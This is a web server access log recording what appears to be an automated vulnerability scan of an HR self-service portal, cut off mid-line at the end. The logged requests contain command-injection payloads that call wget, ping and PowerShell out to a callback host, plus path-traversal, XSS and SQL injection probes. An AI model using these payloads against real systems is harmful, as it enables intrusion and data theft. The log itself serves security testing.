100.64.0.1 - - [05/Dec/2025:21:53:29 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd+%27+ping+-c+1+v3-ping-285-760c2ba4-cacd-4081-91e1-900d04dcbef7.adns.appsechcl.com+%23&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:29 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:28 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF286.html%22%3E HTTP/1.1" 200 6727 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:28 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF286.html%22%3E HTTP/1.1" 200 6727 100.64.0.1 - - [05/Dec/2025:21:53:28 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:28 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:53:28 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:28 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:28 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd+%27+wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D287+%23&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:28 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd+%27+wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D287+%23&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:30 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd+%27+wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D287+%23&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:30 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:30 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:30 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:53:28 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:28 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:29 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS\"/>\\\\ HTTP/1.1" 200 6745 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:29 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS\"/>\\\\ HTTP/1.1" 200 6745 100.64.0.1 - - [05/Dec/2025:21:53:29 +0800] "GET /ehr/ess/redirect.php?scriptname=/..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c../boot.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:29 +0800] "GET /ehr/ess/redirect.php?scriptname=/..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c../boot.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:30 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=/..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c../boot.ini&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:30 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:29 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:29 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:29 +0800] "GET /ehr/ess/redirect.php?scriptname=\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:29 +0800] "GET /ehr/ess/redirect.php?scriptname=\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:29 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:29 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:29 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%22%27%3E%3CA+HREF%3D%22%2FWF_XSRF289.html%22%3EInjected+Link%3C%2FA%3E HTTP/1.1" 200 6749 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:29 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%22%27%3E%3CA+HREF%3D%22%2FWF_XSRF289.html%22%3EInjected+Link%3C%2FA%3E HTTP/1.1" 200 6749 100.64.0.1 - - [05/Dec/2025:21:53:31 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:31 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:30 +0800] "GET /ehr/ess/redirect.php?scriptname='%20||%20''%20||%20'findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:30 +0800] "GET /ehr/ess/redirect.php?scriptname='%20||%20''%20||%20'findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:31 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname='%20||%20''%20||%20'findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:31 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:30 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%27%22%3E%3Ciframe+id%3D290+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E HTTP/1.1" 200 6750 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:30 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%27%22%3E%3Ciframe+id%3D290+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E HTTP/1.1" 200 6750 100.64.0.1 - - [05/Dec/2025:21:53:30 +0800] "GET /ehr/ess/redirect.php?scriptname=\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\boot.ini%00.html&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:30 +0800] "GET /ehr/ess/redirect.php?scriptname=\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\boot.ini%00.html&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:32 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\boot.ini%00.html&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:32 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:30 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%22%2F%3E%5C%3C%2Fscript%5C%3E%5C%3Csvg%2Fonload%3Dalert%28291%29+width%3D100%5C%2F%3E HTTP/1.1" 200 6745 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:30 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%22%2F%3E%5C%3C%2Fscript%5C%3E%5C%3Csvg%2Fonload%3Dalert%28291%29+width%3D100%5C%2F%3E HTTP/1.1" 200 6745 100.64.0.1 - - [05/Dec/2025:21:53:30 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:30 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:31 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:31 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:31 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd%3E%28powershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D292%29&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:31 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd%3E%28powershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D292%29&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:31 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd+%3E%28ping+-c+1+v3-ping-293-760c2ba4-cacd-4081-91e1-900d04dcbef7.adns.appsechcl.com%29&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:31 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd+%3E%28ping+-c+1+v3-ping-293-760c2ba4-cacd-4081-91e1-900d04dcbef7.adns.appsechcl.com%29&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:32 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd+%3E%28ping+-c+1+v3-ping-293-760c2ba4-cacd-4081-91e1-900d04dcbef7.adns.appsechcl.com%29&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:32 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:31 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:31 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:53:33 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd%3E%28powershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D292%29&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:33 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:31 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:31 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:31 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:31 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:31 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:31 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:53:32 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:32 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:33 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:33 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:53:32 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang= HTTP/1.1" 200 6711 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:32 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang= HTTP/1.1" 200 6711 100.64.0.1 - - [05/Dec/2025:21:53:32 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd+%3E%28wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D296%29&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:32 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd+%3E%28wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D296%29&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:34 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd+%3E%28wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D296%29&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:34 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:32 +0800] "GET /ehr/ess/redirect.php?scriptname=/..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c../winnt/win.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:32 +0800] "GET /ehr/ess/redirect.php?scriptname=/..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c../winnt/win.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:34 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=/..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c../winnt/win.ini&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:34 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:32 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:32 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:33 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:33 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:53:33 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:33 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:33 +0800] "GET /ehr/mgr/approve.php?key=C745081140A75E87B1E46756FB9397164AA7CCB8D2D1A9ACB27EACF5BD90B576B37A72CA25161A9B40D863C2042D4B1C664B68283B0B3F01246CE4877ECB021B HTTP/1.1" 200 4202 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:33 +0800] "GET /ehr/mgr/approve.php?key=C745081140A75E87B1E46756FB9397164AA7CCB8D2D1A9ACB27EACF5BD90B576B37A72CA25161A9B40D863C2042D4B1C664B68283B0B3F01246CE4877ECB021B HTTP/1.1" 200 4202 100.64.0.1 - - [05/Dec/2025:21:53:33 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:33 +0800] "POST /ehr/ess/lostpassword.php HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:53:34 +0800] "GET /ehr/css/default.css HTTP/1.1" 200 8445 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=C745081140A75E87B1E46756FB9397164AA7CCB8D2D1A9ACB27EACF5BD90B576B37A72CA25161A9B40D863C2042D4B1C664B68283B0B3F01246CE4877ECB021B" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:34 +0800] "GET /ehr/css/default.css HTTP/1.1" 200 8445 100.64.0.1 - - [05/Dec/2025:21:53:34 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=C745081140A75E87B1E46756FB9397164AA7CCB8D2D1A9ACB27EACF5BD90B576B37A72CA25161A9B40D863C2042D4B1C664B68283B0B3F01246CE4877ECB021B" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:34 +0800] "GET /ehr/css/jqueryui/themes//jquery.ui.all.css HTTP/1.1" 404 240 100.64.0.1 - - [05/Dec/2025:21:53:33 +0800] "GET /ehr/ess/redirect.php?scriptname=\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\boot.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:33 +0800] "GET /ehr/ess/redirect.php?scriptname=\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\boot.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:33 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:33 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:53:35 +0800] "GET /ehr/img/N.png HTTP/1.1" 200 1041 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=C745081140A75E87B1E46756FB9397164AA7CCB8D2D1A9ACB27EACF5BD90B576B37A72CA25161A9B40D863C2042D4B1C664B68283B0B3F01246CE4877ECB021B" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:35 +0800] "GET /ehr/img/N.png HTTP/1.1" 200 1041 100.64.0.1 - - [05/Dec/2025:21:53:33 +0800] "GET 